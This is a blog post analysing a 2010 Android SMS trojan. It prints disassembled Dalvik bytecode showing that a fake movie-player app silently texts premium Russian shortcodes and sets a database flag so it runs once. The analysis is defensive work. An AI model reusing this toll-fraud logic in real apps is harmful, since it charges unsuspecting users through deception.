Dexcode Teardown of the Android SMS Trojan

Tuesday, August 10, 2010

I got my hands on a copy of the recent Android SMS trojan that commits toll fraud via SMS messages to premium Russian shortcodes. What follows is a brief teardown of the APK and disassembly of the trojan's dexcode and description of its malicious functionality. It's incredibly simple in nature so there's not much detail to go into.

android

Package: RU.apk
Package Name: org.me.androidapplication1
Permissions Requested: android.permission.SEND_SMS
Contents:
    ./classes.dex
    ./res
    ./res/drawable
    ./res/drawable/icon.png
    ./res/layout
    ./res/layout/main.xml
    ./resources.arsc
    ./AndroidManifest.xml
    ./META-INF
    ./META-INF/MANIFEST.MF
    ./META-INF/CERT.RSA
    ./META-INF/CERT.SF

There's not much to this trojan application. In fact, it appears to be hastily built off of the HelloWorld example program distributed in the Android SDK. Even the primary layout file (main.xml) contains nothing but a single LinearLayout with a TextView saying "Hello Android from NetBeans".

So let's take a look at the dexcode disassembly of the very small classes.dex code. The primary functionality of the application takes place in the onCreate event for the MoviePlayer activity:

[000924] org.me.androidapplication1.MoviePlayer.onCreate:(Landroid/os/Bundle;)V
...
000c: invoke-virtual {v6}, Lorg/me/androidapplication1/DataHelper;.canwe:()Z
000f: move-result v2
0010: if-eqz v2, 0040 // +0030

When the activity first fires up, the DataHelper.canwe() function is called. The trojan maintains a sqlite database ("movieplayer.db") with a single table ("table1") and a single column ("was"). This table is checked at runtime to see if the trojan has already performed its toll fraud. If the canwe() function determines that the trojan has already been activated in the past, it will abort and jump directly to 0040 which invokes the activity's finish() function.

0012: new-instance v9, Landroid/widget/TextView; // class@000e
0014: invoke-direct {v9, v12}, Landroid/widget/TextView;.<init>
0017: const-string v8, "?????????, ????????????? ?????? ? ?????????.."
0019: invoke-virtual {v9, v8}, Landroid/widget/TextView;.setText
001c: invoke-virtual {v12, v9}, Lorg/me/androidapplication1/MoviePlayer;.setContentView

The application then displays a TextView to the user containing a Russian message which translates roughly via Google to "Wait, sought access to video library.."

001f: invoke-static {}, Landroid/telephony/SmsManager;.getDefault:()
0022: move-result-object v0
0023: const-string v1, "3353" // string@0001
0025: const-string v3, "798657" // string@0003
0027: const/4 v2, #int 0 // #0
0028: const/4 v4, #int 0 // #0
0029: const/4 v5, #int 0 // #0
002a: invoke-virtual/range {v0, v1, v2, v3, v4, v5}, Landroid/telephony/SmsManager;.sendTextMessage

As the user is waiting for its video library to be "sought", the trojan goes ahead and begins sending SMS messages to a premium Russian SMS shortcode, resulting in toll charges to the end user. The string v1 in the dexcode above is the destination number argument for sendTextMessage and v3 is the message contents. From the above, you can see that the trojan is sending the message "798657" to the SMS shortcode "3353".

002d: const-string v1, "3354" // string@0002
002f: const/4 v2, #int 0 // #0
0030: const/4 v4, #int 0 // #0
0031: const/4 v5, #int 0 // #0
0032: invoke-virtual/range {v0, v1, v2, v3, v4, v5}, Landroid/telephony/SmsManager;.sendTextMessage

The trojan then sends the same message, but to the number "3354".

0035: const-string v1, "3353" // string@0001
0037: const/4 v2, #int 0 // #0
0038: const/4 v4, #int 0 // #0
0039: const/4 v5, #int 0 // #0
003a: invoke-virtual/range {v0, v1, v2, v3, v4, v5}, Landroid/telephony/SmsManager;.sendTextMessage

And, for good measure, the trojan again sends another SMS messages to "3353".

003d: invoke-virtual {v6}, Lorg/me/androidapplication1/DataHelper;.was:()V
0040: invoke-virtual {v12}, Lorg/me/androidapplication1/MoviePlayer;.finish:()V
0043: return-void

After its mini-barrage of premium SMS messages, the trojan inserts the value "was" into the "was" column of the "table1" table in its sqlite database. This signals the trojan to stop its toll fraud activities after the first time it runs. It would be unwise for the trojan to continually barrage the premium SMS number with additional messages from the same user as it would likely raise more red flags.

Again, not a whole lot to it. Since these are Russian SMS short codes, any non-Russian phones probably won't be able to SMS that premium shortcode and therefore won't incur the toll charges. It's important to note that the application has no viral spreading capabilities nor command and control functionality. It simply relies on users being tricked into downloading, installing, and running the fake movie player application.

The media hoopla around this trojan release is a bit overblown, as mobile SMS toll fraud (especially overseas) is nothing new. Attackers continue to take the path of least resistance to monetization and, as usual, simple toll fraud is much preferred over any highly technical attack. But hey, it gives AV companies a great opportunity to fire up the mobile security hype machine and snake oil generator...

Copyright © 2021 - Jon Oberheide